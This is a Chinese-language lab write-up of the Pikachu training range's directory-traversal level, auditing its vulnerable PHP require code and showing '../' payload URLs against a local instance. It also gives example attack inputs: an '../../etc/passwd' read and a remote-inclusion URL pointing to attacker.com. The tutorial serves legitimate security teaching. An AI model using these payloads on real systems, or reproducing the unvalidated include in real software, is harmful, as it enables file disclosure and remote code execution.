目錄
一、目錄遍歷
二、源碼分析
三、目錄遍歷與文件包含
四、實戰滲透
1、進入靶場
2、目錄遍歷
(1)訪問ace.min.css
(2)訪問fileinclude.php
本系列為《pikachu靶場通關筆記》滲透實戰,本文通過對目錄遍歷源碼的代碼審計找到安全風險的真實原因,講解目錄遍歷關卡原理并進行滲透實踐。如下圖所示,pikcahu靶場在目錄遍歷關卡介紹的過程中講解目錄遍歷風險的產生原因,如果后臺沒有對前端傳進來的值進行嚴格的安全考慮,則攻擊者可能會通過“../”這樣的手段讓后臺打開或者執行一些其他的文件。 從而導致后臺服務器上其他目錄的文件結果被遍歷出來,形成目錄遍歷安全風險。
一、目錄遍歷
目錄遍歷,也被稱為路徑遍歷,是一種常見的安全風險,攻擊者利用目錄遍歷安全風險可以訪問服務器上本應受限制訪問的文件和目錄。
類別 | 詳情 |
---|---|
定義 | 目錄遍歷指應用程序在處理用戶輸入的文件路徑或文件名時存在缺陷,使攻擊者能夠繞過安全限制,訪問服務器上本不應被訪問的文件和目錄 |
原理 | 應用程序未對用戶輸入的路徑信息進行有效驗證與過濾,攻擊者利用特殊構造的路徑(如包含 “../” 等回溯上級目錄的字符),突破預設訪問范圍,定位到目標文件所在目錄 |
常見攻擊方式 | 1. 在 URL 參數中構造惡意路徑,如將正常的 “/download.php?file=image.jpg” 改為 “/download.php?file=../../../../etc/passwd”; 2. 在表單輸入框中提交惡意路徑,若應用程序存在文件上傳功能,且對上傳路徑處理不當,攻擊者可通過輸入特殊路徑來訪問其他目錄 |
危害 | 1.?敏感信息泄露:獲取服務器上的敏感文件內容,如數據庫配置文件、用戶登錄憑證等,為進一步攻擊提供便利; 2.?文件系統破壞:篡改、刪除重要系統文件或業務數據文件,影響系統正常運行,甚至導致系統崩潰; 3.?惡意代碼執行:訪問可執行文件并執行惡意代碼,獲取服務器控制權,進一步擴大攻擊范圍 |
防范措施 | 1.?輸入驗證過濾:嚴格檢查用戶輸入的路徑和文件名,禁止包含 “../” 等非法字符,同時對文件類型、路徑長度等進行限制; 2.?使用白名單機制:明確指定允許訪問的文件和目錄范圍,僅接受白名單內的路徑請求; 3.?權限管理:為應用程序設置最小權限,限制其對文件系統的訪問級別,避免權限濫用; 4.?編碼轉換:對用戶輸入的路徑進行適當的編碼轉換,如 URL 編碼,防止特殊字符被惡意利用; 5.?更新系統軟件:及時更新操作系統、Web 服務器軟件和應用程序,修復已知的目錄遍歷安全風險 |
二、源碼分析
進入pikachu靶場的目錄遍歷關卡,完整的URL地址如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php
打開代碼dir_list.php并進行源碼分析,代碼實現了一個簡單的文件包含功能。首先初始化一個空字符串變量$html 。接著檢查是否通過 GET 方式傳遞了title參數,若存在則將該參數值賦給$filename。然后直接使用require語句包含 “soup/” 目錄下由$filename指定的文件。但由于未對$filename參數進行任何驗證與過濾,直接使用用戶可控的輸入進行文件包含操作,存在嚴重的目錄遍歷安全風險,攻擊者可通過構造惡意參數值,訪問服務器其他目錄的敏感文件甚至執行惡意代碼,威脅系統安全 。
<?php
// 初始化一個空字符串變量 $html,可能用于后續存儲要輸出的 HTML 內容,但在這段代碼中未實際使用
$html = '';// 檢查是否通過 GET 方式傳遞了名為 'title' 的參數
if (isset($_GET['title'])) {// 如果存在 'title' 參數,將其值賦給變量 $filename$filename = $_GET['title'];// 這里直接把傳進來的內容進行了 require(),造成問題// require 是 PHP 中的一個語句,用于包含并執行指定的文件// 這里嘗試包含 "soup/" 目錄下由 $filename 指定的文件require "soup/$filename";// 這行代碼被注釋掉了,原本的作用可能是輸出 $html 變量的內容// echo $html;
}
?>
同時在這段代碼里,程序直接使用 require 語句包含了由用戶通過 GET 請求傳遞的 title 參數所指定的文件。代碼中沒有對 $filename 進行任何驗證和過濾,攻擊者能夠通過構造特殊的文件名,達成任意文件包含的目的。?由于本關卡的題目為目錄遍歷(路徑遍歷),故而本文主要針對目錄遍歷進行滲透。
三、目錄遍歷與文件包含
由于本關卡源碼涉及到目錄遍歷和文件包含,用表格形式對兩者的區別,具體如下所示。
類別 | 文件包含 | 目錄遍歷 |
---|---|---|
原理 | 程序包含文件時,對用戶輸入的文件路徑或名稱驗證過濾不足,使攻擊者能讓程序包含惡意或非預期文件,以執行惡意代碼或獲取信息 | 應用處理用戶輸入的文件路徑時,未有效限制訪問范圍,攻擊者利用特殊路徑構造(如 “../”)突破目錄限制,訪問其他目錄文件 |
攻擊方式 | 修改文件包含函數參數,傳入本地或遠程惡意文件路徑,使程序包含并執行惡意文件。如include($_GET['file']) ,攻擊者構造?file=http://attacker.com/malicious.php | 構造含 “../” 等回溯目錄字符的路徑,逐步訪問目標文件。如http://example.com/script.php?file=../../etc/passwd |
危害后果 | 嚴重時可致服務器被植入后門,攻擊者完全控制服務器,能執行任意命令、竊取信息、篡改內容等 | 主要造成敏感信息泄露,如獲取配置文件、用戶信息,也可能導致文件被非法讀取、修改或刪除,但一般不會直接使服務器被完全控制 |
本質 | 側重于對文件的不當包含,實現惡意代碼執行 | 側重于突破目錄限制,實現特定文件的非法訪問 |
常見場景 | 存在文件包含函數且對參數處理不當的代碼中,如 PHP 的include 、require 等函數使用處 | 處理用戶輸入文件路徑的功能模塊,如文件下載、文件查看等功能中 |
四、實戰滲透
1、進入靶場
?進入pikachu靶場的目錄遍歷關卡,完整URL以及頁面如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php
點擊鏈接第一個后,可以看到url=
jarheads.php中包含文件名jarheads.php,進入的頁面包含了jarheads.php文件的內容,具體如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php
點擊第二個鏈接時,,可以看到url=
truman.php,進入了包含truman.php內容的頁面。?
2、目錄遍歷
(1)訪問ace.min.css
嘗試一下修改title的值,title=../../../assets/css/ace.min.css,完整URL如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../assets/css/ace.min.css
訪問該鏈接進入包含ace.min.css的頁面,滲透成功,?
(2)訪問fileinclude.php
嘗試一下修改title的值,title=../../fileinclude/fileinclude.php,完整URL如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../fileinclude/fileinclude.php
訪問該鏈接進入到包含“文件包含描述“的頁面,滲透成功,如下圖所示。?